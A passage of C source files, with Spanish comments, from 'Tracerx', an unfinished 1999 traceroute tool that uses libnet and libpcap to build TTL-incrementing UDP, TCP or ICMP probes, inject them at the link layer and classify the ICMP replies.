u_char errbuf[BUFSIZ];
struct ether_addr *local_mac, *remote_mac;
u_char DEBUG_ETHER[6] = {0x00, 0x10, 0x4b, 0x6b, 0x3c, 0x16};
/*
* Coge las direcciones link-layer que necesitaremos -- las direcciones locales de los
* interfaces de salida y la dirección remota del host en cuestión (esto
* actualizará para ser el primer router hop)
*/
c = tx_get_hwaddrs(&local_mac, &remote_mac, tx_c, errbuf);
if (c == -1)
{
tx_error(FATAL, "tx_get_hwaddrs no puede coger la dirección %s.\n",
errbuf);
}
/*
* Construye la cabecera ethernet del paquete
*/
libnet_build_ethernet(DEBUG_ETHER/*remote_mac.ether_addr_octet*/,
local_mac->ether_addr_octet,
ETHERTYPE_IP, /* Es un paquete IP */
NULL, /* No payload */
0, /* No payload */
(*tx_c)->tx_packet); /* memoria del paquete */
/*
* Construye la cabecera IP del paquete
*/
libnet_build_ip((*tx_c)->packet_size - IP_H, /* tamaño del paquete IP */
(*tx_c)->ip_tos, /* tipo de servicio IP */
(*tx_c)->id, /* IP id */
(*tx_c)->ip_df, /* bits de fragmentación IP */
(*tx_c)->current_ttl, /* tiempo de vida IP */
(*tx_c)->protocol, /* protocolo de transporte */
(*tx_c)->sin.sin_addr.s_addr, /* dirección IP de origen */
(*tx_c)->host, /* IP de destino */
NULL, /* IP payload */
0, /* tamaño del payload IP */
(*tx_c)->tx_packet + ETH_H); /* memoria del paquete */
/*
* Construye la cabecera de transporte y el payload del paquete
*/
switch ((*tx_c)->protocol)
{
case IPPROTO_UDP:
tx_packet_build_udp(tx_c);
break;
case IPPROTO_TCP:
tx_packet_build_tcp(tx_c);
break;
case IPPROTO_ICMP:
tx_packet_build_icmp(tx_c);
break;
default:
tx_error(FATAL, "Protocolo de transporte desconocido\n");
}
libnet_do_checksum((*tx_c)->tx_packet + ETH_H, IPPROTO_IP, IP_H);
}
int
tx_packet_build_udp(struct tx_control **tx_c)
{
libnet_build_udp((*tx_c)->initial_sport, /* puerto UDP origen */
(*tx_c)->initial_dport, /* puerto UDP destino */
NULL, /* payload (copied later) */
/* La cabecera UDP necesita saber el tamaño del payload */
(*tx_c)->packet_size - IP_H - UDP_H,
(*tx_c)->tx_packet + ETH_H + IP_H); /* memoria del paquete */
tx_packet_build_payload(tx_c, UDP_H);
libnet_do_checksum((*tx_c)->tx_packet + ETH_H, IPPROTO_UDP,
(*tx_c)->packet_size - IP_H);
}
int
tx_packet_build_tcp(struct tx_control **tx_c)
{
libnet_build_tcp((*tx_c)->initial_sport, /* puerto TCP origen */
(*tx_c)->initial_dport, /* puerto TCP destino */
libnet_get_prand(PRu32), /* número de secuencia */
0L, /* número ACK */
TH_SYN, /* flags de control */
1024, /* window size */
0, /* urgente */
NULL, /* payload (hacer esto despues) */
0, /* despues */
(*tx_c)->tx_packet + ETH_H + IP_H); /* memoria del paquete */
tx_packet_build_payload(tx_c, TCP_H);
libnet_do_checksum((*tx_c)->tx_packet + ETH_H, IPPROTO_TCP,
(*tx_c)->packet_size - IP_H);
}
int
tx_packet_build_icmp(struct tx_control **tx_c)
{
libnet_build_icmp_echo(ICMP_ECHO,
0,
0,
0,
NULL,
0,
(*tx_c)->tx_packet + ETH_H + IP_H);
tx_packet_build_payload(tx_c, ICMP_ECHO_H);
libnet_do_checksum((*tx_c)->tx_packet + ETH_H, IPPROTO_ICMP,
(*tx_c)->packet_size - IP_H);
}
int
tx_packet_build_payload(struct tx_control **tx_c, int p_hdr_size)
{
struct timeval time0;
struct tx_payload *p;
struct libnet_ip_hdr *ip_hdr;
int payload_offset;
/*
* El payload esta justo al lado de la cabecera de transporte
*/
payload_offset = ETH_H + IP_H + p_hdr_size;
if (gettimeofday(&time0, NULL) == -1)
{
tx_error(FATAL, "No se puede coger la información del tiempo\n");
}
ip_hdr = (struct libnet_ip_hdr *)((*tx_c)->tx_packet + ETH_H);
p = (struct tx_payload *)((*tx_c)->tx_packet + payload_offset);
/*
* Este campos está muy desaprobado desde que se puede mantener un seguimiento de los
* paquetes controlando el campo ip_id, algún tracerouter no puede hacerlo
*/
p->seq = 0;
/*
* TTL del paquete
*/
p->ttl = ip_hdr->ip_ttl;
/*
* información RTT
*/
p->tv = time0;
}
int
tx_packet_update_probe(struct tx_control **tx_c)
{
struct libnet_ip_hdr *ip_hdr;
ip_hdr = (struct libnet_ip_hdr *)((*tx_c)->tx_packet + ETH_H);
/*
* Tracerx no sería tracerx sin un incrementador del TTL IP
*/
ip_hdr->ip_ttl++;
switch ((*tx_c)->protocol)
{
case IPPROTO_TCP:
{
struct libnet_tcp_hdr *tcp_hdr;
tcp_hdr = (struct libnet_tcp_hdr *)((*tx_c)->tx_packet + ETH_H
+ IP_H);
if (!((*tx_c)->tx_flags & TX_STATIC_PORTS))
{
/*
* Incrementa el puerto de destino
*/
tcp_hdr->th_dport = htons(ntohs(tcp_hdr->th_dport) + 1);
}
/*
* Actualiza la información del payload
*/
tx_packet_build_payload(tx_c, TCP_H);
tcp_hdr->th_sum = 0;
libnet_do_checksum((*tx_c)->tx_packet + ETH_H, IPPROTO_TCP,
(*tx_c)->packet_size - IP_H);
break;
}
case IPPROTO_UDP:
{
struct libnet_udp_hdr *udp_hdr;
udp_hdr = (struct libnet_udp_hdr *)((*tx_c)->tx_packet + ETH_H
+ IP_H);
if (!((*tx_c)->tx_flags & TX_STATIC_PORTS))
{
/*
* Incrementa el puerto de destino
*/
udp_hdr->uh_dport = htons(ntohs(udp_hdr->uh_dport) + 1);
}
/*
* Actualiza la información del payload
*/
tx_packet_build_payload(tx_c, UDP_H);
udp_hdr->uh_sum = 0;
libnet_do_checksum((*tx_c)->tx_packet + ETH_H, IPPROTO_UDP,
(*tx_c)->packet_size - IP_H);
break;
}
case IPPROTO_ICMP:
{
struct libnet_icmp_hdr *icmp_hdr;
icmp_hdr = (struct libnet_icmp_hdr *)((*tx_c)->tx_packet + ETH_H
+ IP_H);
/*
* Actualiza la información del payload
*/
tx_packet_build_payload(tx_c, ICMP_ECHO_H);
icmp_hdr->icmp_sum = 0;
libnet_do_checksum((*tx_c)->tx_packet + ETH_H, IPPROTO_ICMP,
(*tx_c)->packet_size - IP_H);
break;
}
default:
tx_error(FATAL, "Protocolo de transporte desconocido\n");
}
ip_hdr->ip_sum = 0;
libnet_do_checksum((*tx_c)->tx_packet + ETH_H, IPPROTO_IP, IP_H);
}
/* EOF */
* tx_packet_inject:
/*
* $Id: tx_packet_inject.c,v 1.3 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* tx_packet_inject.c - high-level packet injection routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_struct.h"
#include "./tx_framework.h"
#include "./tx_error.h"
int
tx_packet_inject(struct tx_control **tx_c)
{
int n;
n = libnet_write_link_layer(
(*tx_c)->l, /* puntero al interfaz link */
(*tx_c)->device, /* nombre del dispositivo a usar */
(*tx_c)->tx_packet, /* el paquete a inyectar */
(*tx_c)->packet_size + ETH_H); /* tamaño total del paquete */
if (n != (*tx_c)->packet_size + ETH_H)
{
tx_error(CRITICAL, "Error de escritura. Solo se han escrito %d bytes\n", n);
}
}
/* EOF */
* tx_packet_verify.c:
/*
* $Id$
*
* Tracerx
* tx_packet_verify.c - packet verification routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_struct.h"
#include "./tx_framework.h"
#include "./tx_error.h"
#include "./tx_packet_capture.h"
int
tx_packet_verify_udp(char *packet, struct tx_control **tx_c)
{
struct libnet_ip_hdr *ip_hdr;
struct libnet_icmp_hdr *icmp_hdr;
ip_hdr = (struct libnet_ip_hdr *)(packet + ETH_H);
/*
* Un scanner UDP solo está interesado en los paquetes ICMP (o posiblemente en los paquetes
* UDP -- solo caso terminal)
*/
if (ip_hdr->ip_p != IPPROTO_ICMP && ip_hdr->ip_p != IPPROTO_UDP)
{
return (TX_PACKET_IS_BORING);
}
icmp_hdr = (struct libnet_icmp_hdr *)(packet + ETH_H + IP_H);
switch (icmp_hdr->icmp_type)
{
case ICMP_UNREACH:
{
struct libnet_ip_hdr *o_ip_hdr;
if (ip_hdr->ip_src.s_addr == (*tx_c)->host)
{
/*
* Esto es un paquete inalcanzable desde nuestro host destino.
* Esto es un paqeute terminal. El módulo informador
* necesitará saber si es un mensaje de puerto regular inalcanzable
* o probablemente algun otro tipo de inalcanzable.
*/
if (icmp_hdr->icmp_code == ICMP_UNREACH_PORT)
{
return (TX_PACKET_IS_TERMINAL);
}
else
{
return (TX_PACKET_IS_TERMINAL_EXOTIC);
}
}
/*
* Puntero a la cabecera IP original dentro del payload ICMP
* mesaje
*/
o_ip_hdr = (struct libnet_ip_hdr *)(packet + ETH_H + IP_H +
ICMP_UNREACH_H);
if (ntohs(o_ip_hdr->ip_id) == (*tx_c)->id &&
o_ip_hdr->ip_src.s_addr ==
(*tx_c)->sin.sin_addr.s_addr)
{
/*
* La cabecera IP original es mandada por este host y contiene
* nuestro campo especial ID
*/
return (TX_PACKET_IS_UNREACH_EN_ROUTE);
}
else
{
return (TX_PACKET_IS_BORING);
}
break;
}
case ICMP_TIMXCEED:
break;
default:
return (TX_PACKET_IS_BORING);
}
}
int
tx_packet_verify_tcp(char *packet, struct tx_control **tx_c)
{
}
int
tx_packet_verify_icmp(char *packet, struct tx_control **tx_c)
{
}
/* EOF */
* tx_packet_filter.c:
/*
* $Id: tx_packet_filter.c,v 1.1 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* tx_packet_filter.c - packet filtering routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_struct.h"
#include "./tx_error.h"
#include "./tx_main.h"
#include "./tx_packet_filter.h"
int
tx_set_pcap_filter(char *filter, struct tx_control **tx_c)
{
struct bpf_program filter_code;
bpf_u_int32 local_net, netmask;
char err_buf[BUFSIZ];
/*
* Necesitamos la mascara de subred para aplicar un filtro
*/
if (pcap_lookupnet((*tx_c)->device, &local_net, &netmask, err_buf) == -1)
{
tx_error(CRITICAL, "pcap_lookupnet: ", err_buf);
return (-1);
}
/*
* Compila el filtro en una máquina con código bpf
*/
if (pcap_compile((*tx_c)->p, &filter_code, filter, 1, netmask) == -1)
{
tx_error(CRITICAL, "pcap_compile falló por alguna razón\n");
sprintf(err_buf, "error desconocido\n");
return (-1);
}
/*
* Compila el filtro en una máquina con código bpf
*/
if (pcap_setfilter((*tx_c)->p, &filter_code) == -1)
{
tx_error(CRITICAL, "pcap_setfilter: ", err_buf);
return (-1);
}
return (1);
}
/* EOF */
* tx_packet_capture:
/*
* $Id: tx_packet_capture.c,v 1.2 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* tx_packet_capture.c - high-level packet capturing routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_struct.h"
#include "./tx_framework.h"
#include "./tx_error.h"
#include "./tx_packet_capture.h"
int
tx_packet_snatcher(struct tx_control **tx_c)
{
int n;
u_char *packet;
struct pcap_pkthdr pc_hdr;
/*
* Temporary looping construct until parallel code is in place.
*/
for (; packet = (u_char *)pcap_next((*tx_c)->p, &pc_hdr); )
{
/*
* Manda paquete para verificación basada en tipo scan
*/
switch ((*tx_c)->protocol)
{
case IPPROTO_UDP:
n = tx_packet_verify_udp(packet, tx_c);
break;
case IPPROTO_TCP:
n = tx_packet_verify_tcp(packet, tx_c);
break;
case IPPROTO_ICMP:
n = tx_packet_verify_icmp(packet, tx_c);
break;
}
/*
* Procesa la respuesta del verificador
*/
switch (n)
{
case -1:
/* a ocurrido un error */
case TX_PACKET_IS_BORING:
/* nada que nos interese */
break;
case TX_PACKET_IS_EXPIRED:
tx_report(TX_PACKET_IS_EXPIRED, packet, tx_c);
break;
case TX_PACKET_IS_TERMINAL:
tx_report(TX_PACKET_IS_TERMINAL, packet, tx_c);
break;
case TX_PACKET_IS_TERMINAL_EXOTIC:
tx_report(TX_PACKET_IS_TERMINAL_EXOTIC, packet, tx_c);
break;
case TX_PACKET_IS_UNREACH_EN_ROUTE:
tx_report(TX_PACKET_IS_UNREACH_EN_ROUTE, packet, tx_c);
break;
default:
break;
}
}
}
/* EOF */
* tx_main.c:
/*
* $Id: tx_main.c,v 1.3 1999/06/03 22:06:52 route Exp $
*
* Tracerx
* tx_main.c - main control logic
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_main.h"
#include "./tx_util.h"
#include "./version.h"
#include "./tx_struct.h"
#include "./tx_error.h"
#include "./tx_framework.h"
int
main(int argc, char *argv[])
{
int c,
have_protocol; /* Mediates combined usage of -I and -P */
u_char err_buf[BUFSIZ];
struct tx_control *tx_c;
/*
* Neceistas ser root para abrir los dispositivos link layer
*/
if (geteuid() && getuid())
{
tx_error(FATAL, "No eres root (UID or EIUD == 0).\n");
}
/*
* Inicializa la estructura de control. Esta estructura es usada solo sobre
* toda la función en el programa.
*/
if (tx_init_control(&tx_c) == -1)
{
tx_error(FATAL, "tx_init_control %s\n", strerror(errno));
}
/*
* Proceso los argumentos de la linea de comandos
*/
have_protocol = 0;
while ((c = getopt(argc, argv, "dFHhInrvxf:g:i:m:P:p:q:Ss:t:w:Vv")) != EOF)
{
switch (c)
{
case 'b':
/* Selecciona burst rate */
tx_c->burst_rate = tx_str2int(optarg, "burst rate", 1,
BURST_RATE_MAX);
case 'D':
/* Pone el número de puerto de destino base TCP/UDP */
tx_c->initial_dport = tx_str2int(optarg, "initial dest port",
1, PORT_MAX);
break;
case 'd':
/* Socket level debugging (SO_DEBUG) */
/* NOOP */
break;
case 'F':
/* Pone el bit de no fragmentación (IP_DF) */
tx_c->ip_df = IP_DF;
break;
case 'f':
/* Pone el TTL inicial */
tx_c->current_ttl = tx_str2int(optarg, "initial TTL", 1,
IP_TTL_MAX);
break;
case 'g':
/* Loose source routing */
/* NOOP */
break;
case 'H':
/* Imprime la ayuda */
/* ESCRIBEME */
case 'h':
/* Ayuda */
usage(argv[0]);
case 'I':
/* Usa ICMP */
/* Pone el protocol ode transporte y el tamaño de la cabecera de transporte */
/* Overruled by -P */
if (!have_protocol)
{
tx_c->protocol = tx_prot_select("ICMP", &tx_c);
}
break;
case 'i':
/* Interfaz */
tx_c->device = optarg;
break;
case 'm':
/* Max IP TTL */
tx_c->max_ttl = tx_str2int(optarg, "max TTL", 1,
IP_TTL_MAX);
break;
case 'n':
/* No resolver los hosts */
tx_c->use_name = 0;
break;
case 'P':
/* Pone el protocol ode transporte y el tamaño de la cabecera de transporte */
/* (supercedes -I) */
tx_c->protocol = tx_prot_select(optarg, &tx_c);
have_protocol = 1;
break;
case 'p':
/* Pone el número de puerto de destino base TCP/UDP */
tx_c->initial_dport = tx_str2int(optarg, "initial dest port",
1, PORT_MAX);
break;
case 'q':
/* Número de peticiones (pruebas) */
tx_c->probe_cnt = tx_str2int(optarg, "probe cnt", 1,
PROBE_MAX);
break;
case 'r':
/* Bypass routing sockets */
/* NOOP */
break;
case 'S':
/* No incrementar los números de puerto TCP/UDP */
tx_c->tx_flags |= TX_STATIC_PORTS;
break;
case 's':
/* Pone el número de puerto de origen base TCP/UDP */
tx_c->initial_sport = tx_str2int(optarg, "initial source port",
1, PORT_MAX);
break;
case 't':
/* Pone los bits de IP_TOS (tipo de servicio) */
tx_c->ip_tos = tx_str2int(optarg, "IP tos", 0, 255);
break;
case 'V':
/* Versión */
fprintf(stderr, "\n%s\nversion %s\n", BANNER, version);
exit(EXIT_SUCCESS);
case 'v':
/* Salida comentada */
tx_c->verbose = 1;
break;
case 'x':
/* Toggle checksums */
/* NOOP */
break;
case 'w':
/* Tiempo a esperar (en segundos) */
tx_c->reading_wait = tx_str2int(optarg, "read wait", 2,
WAIT_MAX);
break;
default:
usage(argv[0]);
}
}
/*
* Parsea la linea de comandos para el host de destino y el posible
* tamaño del paquete
*/
switch (argc - optind)
{
case 2:
/*
* El usuari oespecifica el tamaño del paquete (opcional). Esto luego
* será verificado y se ajustará si es necesario
*/
tx_c->packet_size = tx_str2int(argv[optind + 1], "packet length",
PACKET_MIN, PACKET_MAX);
/* FALLTHROUGH */
case 1:
/* Host (requisito). */
tx_c->host = libnet_name_resolve(argv[optind], 1);
if (tx_c->host == -1)
{
tx_error(FATAL, "No se puede resolver la dirección IP\n");
}
break;
default:
usage(argv[0]);
}
/*
* Levanta los componentes de red
*/
if (tx_init_network(&tx_c, err_buf) == -1)
{
tx_error(FATAL, "No se puede inicializar la red: %s\n", err_buf);
}
/*
* Empieza el juego!
*/
tx_do_scan(&tx_c);
/*
* Para el juego!
*/
tx_shutdown(&tx_c);
return (EXIT_SUCCESS);
}
void
usage(char *argv0)
{
fprintf(stderr,
"\nUso : %s [opciones] host [tamaño del paquete]\n"
"\t\t [-b] burst rate\n"
"\t\t [-F] IP_DF\n"
"\t\t [-f] IP TTL sabe\n"
"\t\t [-g] loose source routing\n"
"\t\t [-H] ayuda comentada\n"
"\t\t [-h] ayuda\n"
"\t\t [-I] usar ICMP\n"
"\t\t [-i] especificar interfaz\n"
"\t\t [-m] max IP TTL (hopcount)\n"
"\t\t [-n] no resolver direcciones IP en hosts\n"
"\t\t [-P] protocolo de transporte (supercedes -I)\n"
"\t\t [-p] puerto de destino base TCP/UDP\n"
"\t\t [-q] número de pruebas\n"
"\t\t [-S] no incrementar los n´´umeros de puerto TCP/UDP\n"
"\t\t [-s] puerto de origen base TCP/UDP\n"
"\t\t [-t] IP TOS (tipo de servicio)\n"
"\t\t [-V] versión\n"
"\t\t [-v] salida comentada\n"
"\t\t [-w] espera (en segundos)\n"
"\n", argv0);
exit(EXIT_FAILURE);
}
/* EOF */
* tx_report.c:
/*
* $Id: tx_report.c,v 1.1.1.1 1999/05/28 23:55:06 route Exp $
*
* Tracerx
* tx_report.c - reporting and printing module
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_struct.h"
#include "./tx_packet_capture.h"
void
tx_report(int class, u_char *packet, struct tx_control **tx_c)
{
switch (class)
{
case TX_PACKET_IS_EXPIRED:
break;
case TX_PACKET_IS_TERMINAL:
break;
case TX_PACKET_IS_UNREACH_EN_ROUTE:
break;
default:
break;
}
}
/* EOF */
* tx_util.c:
/*
* $Id: tx_util.c,v 1.2 1999/05/29 20:28:43 route Exp $
*
* Tracerx
* tx_util.c - various routines
*
* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
* Jeremy F. Rauch <jrauch@cadre.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "./config.h"
#endif
#include "./tx_main.h"
#include "./tx_struct.h"
#include "./tx_util.h"
#include "./tx_error.h"
int
tx_str2int(register const char *str, register const char *what,
register int min, register int max)
{
register const char *cp;
register int val;
char *ep;
if (str[0] == '0' && (str[1] == 'x' || str[1] == 'X'))
{
cp = str + 2;
val = (int)strtol(cp, &ep, 16);
}
else
{
val = (int)strtol(str, &ep, 10);
}
if (*ep != '\0')
{
tx_error(FATAL, "\"%s\" valor incorrecto para %s \n", str, what);
}
if (val < min && min >= 0)
{
if (min == 0)
{
tx_error(FATAL, "%s debe ser >= %d\n", what, min);
}
else
{
tx_error(FATAL, "%s debe ser > %d\n", what, min - 1);
}
}
if (val > max && max >= 0)
{
tx_error(FATAL, "%s debe ser <= %d\n", what, max);
}
return (val);
}
int
tx_prot_select(char *protocol, struct tx_control **tx_c)
{
char *supp_protocols[] = {"UDP", "TCP", "ICMP", 0};
int i;
for (i = 0; supp_protocols[i]; i++)
{
